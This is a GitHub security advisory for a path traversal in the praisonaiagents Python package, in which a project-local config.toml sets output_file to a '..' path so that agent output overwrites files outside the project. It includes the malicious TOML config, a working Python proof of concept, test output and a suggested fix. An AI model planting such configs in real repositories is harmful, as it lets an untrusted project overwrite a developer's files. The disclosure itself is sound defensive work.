GitHub Advisoryadvisory · PyPI
GHSA-qjw5-xwrp-xwpq PraisonAI: Project config can auto-save agent output outside the project root
MEDIUM
Official page ↗
- Aliases
- CVE-2026-60089
- Ecosystem
- PyPI
- Packages
- praisonaiagents
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-22, CWE-73
- Reviewed
- 2026-10-08
Affected packages
• PyPI praisonaiagents: < 1.6.78 → fixed in 1.6.78
Description
Project config can auto-save agent output outside the project root
Summary
`praisonaiagents` automatically reads project-local `.praisonai/config.toml` defaults when constructing an `Agent`. A repository-controlled config can set `defaults.output.output_file` to an absolute path or a `..` traversal path. When the developer later calls `agent.start(...)`, PraisonAI writes the agent response to that path with `open(..., "w")`, creating parent directories if needed.
This lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.
Technical Details
The source-to-sink path is `Agent.__init__()` project config loading to `OutputConfig.output_file` to public `agent.start()` output auto-save. `praisonaiagents/agent/agent.py` applies config-driven defaults before parameter resolution; if the caller did not explicitly pass `output`, it calls `apply_config_defaults("output", output, OutputConfig)`. `praisonaiagents/config/loader.py` treats a config block with `enabled = true` as active and instantiates `OutputConfig` from the remaining keys. `OutputConfig` includes `output_file`, and the agent stores that value as `self._output_file`.
After `agent.start(...)` obtains a truthy result from `self.chat(...)`, `praisonaiagents/agent/execution_mixin.py` calls `_save_output_to_file(str(result))` when `self._output_file` is set. `praisonaiagents/agent/memory_mixin.py` then runs `expanduser()` and `abspath()`, creates parent directories, and writes the destination with mode `w`. It does not constrain the resolved path to the current project, reject absolute paths, reject `..`, or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.
This is not a claim that explicit `Agent(output=OutputConfig(output_file=...))` chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.
PoV
Create a project containing:
```toml
[defaults.output]
enabled = true
output_file = "../victim-outside-project/agent-output.txt"
```
Then run ordinary agent code from inside that project without passing an explicit `output` parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after `agent.start(...)`.
I verified this locally without any external model call by replacing `agent.chat` with a deterministic offline stub after constructing the real `Agent`; the public `start()` method still performed the auto-save. Current-head output:
```json
{
"configured_output_file": "../victim-outside-project/agent-output.txt",
"escaped_project_root": true,
"source_head": "3aa9cbc2bd49c23a32be0a89a5e620d13d843eab",
"start_returned": true,
"canary_written": true
}
```
Negative controls:
```json
[
{
"case": "safe-relative",
"configured_output_file": "inside-output.txt",
"expected_file_escaped_project": false,
"expected_file_exists": true,
"observed_files": {
"project/inside-output.txt": "PRAISONAI_NEGATIVE_CONTROL_safe-relative\n"
},
"outside_files": [],
"start_returned": true
},
{
"case": "disabled-output",
"configured_output_file": null,
"expected_file_escaped_project": null,
"expected_file_exists": false,
"observed_files": {},
"outside_files": [],
"start_returned": true
}
]
```
The first control shows a safe relative output path stays inside the project. The second control shows a traversal `output_file` is not applied when `defaults.output.enabled` is false.
PoC
```python
!/usr/bin/env python3
import os
import shutil
from pathlib import Path
from praisonaiagents import Agent
from praisonaiagents.config.loader import clear_config_cache
work = Path("praison-outputfile-poc").resolve()
project = work / "untrusted-project"
victim = work / "victim-outside-project" / "agent-output.txt"
shutil.rmtree(work, ignore_errors=True)
(project / ".praisonai").mkdir(parents=True)
victim.parent.mkdir(parents=True)
(project / ".praisonai" / "config.toml").write_text(
"[defaults.output]\n"
"enabled = true\n"
'output_file = "../victim-outside-project/agent-output.txt"\n',
encoding="utf-8",
)
os.chdir(project)
clear_config_cache()
agent = Agent(instructions="offline PoC")
agent.chat = lambda prompt, **kwargs: "PRAISONAI_OUTPUTFILE_CANARY\n"
agent.start("offline prompt")
print(victim.read_text(encoding="utf-8"))
print(victim.resolve())
```
Expected affected result:
• `victim-outside-project/agent-output.txt` is created outside `untrusted-project`.
• The file contains `PRAISONAI_OUTPUTFILE_CANARY`.
Impact
A malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.
The content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.
Suggested Fix
Treat `output_file` loaded from project-local config as untrusted:
• Resolve project-configured `output_file` relative to the project root and reject paths that escape that root after symlink-aware normalization.
• Reject absolute paths and `..` traversal in project config by default.
• Preserve existing behavior for explicit trusted application code, for example `Agent(output=OutputConfig(output_file=...))`, or require an explicit `allow_external_output_file` opt-in for config-sourced paths.
• Avoid creating parent directories outside the allowed root for config-sourced output.
• Add regression tests for `.praisonai/config.toml` with relative traversal, absolute paths, and symlinked parent directories.
Affected Package/Versions
Confirmed affected:
• GitHub current head `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`.
• `praisonaiagents` 1.6.64, latest PyPI release at test time.
• `praisonaiagents` 1.6.63, previous PyPI release tested.
The `praisonai` package version 4.6.64 depends on `praisonaiagents>=1.6.64`, so `praisonai` users can receive the affected code transitively when they use the `praisonaiagents.Agent` path.
Advisory History
I did not find an existing advisory summary for `output_file` / `OutputConfig` / `defaults.output` project-configured output path escape in the repository advisory list.
Related but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the `praisonaiagents` project config to `OutputConfig.output_file` auto-save path.
No public disclosure or external submission was performed as part of this report preparation.
References
• `praisonaiagents/agent/agent.py`: config defaults are applied to `output`, then `output_file` is stored on the agent.
• `praisonaiagents/config/loader.py`: enabled config defaults instantiate the requested config class.
• `praisonaiagents/config/feature_configs.py`: `OutputConfig.output_file`.
• `praisonaiagents/agent/execution_mixin.py`: `start()` auto-saves agent output.
• `praisonaiagents/agent/memory_mixin.py`: `_save_output_to_file()` resolves and writes the configured path without project containment.
Related
Alias · CVE (1)
- CVE-2026-60089 PraisonAI (pip package praisonaiagents) before 1.6.78 automatically loads defaults from a project-local .praisonai/config.toml when… vulnerability
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qjw5-xwrp-xwpq web
- https://nvd.nist.gov/vuln/detail/CVE-2026-60089 advisory
- https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab web
- https://github.com/MervinPraison/PraisonAI package
- https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-config-toml web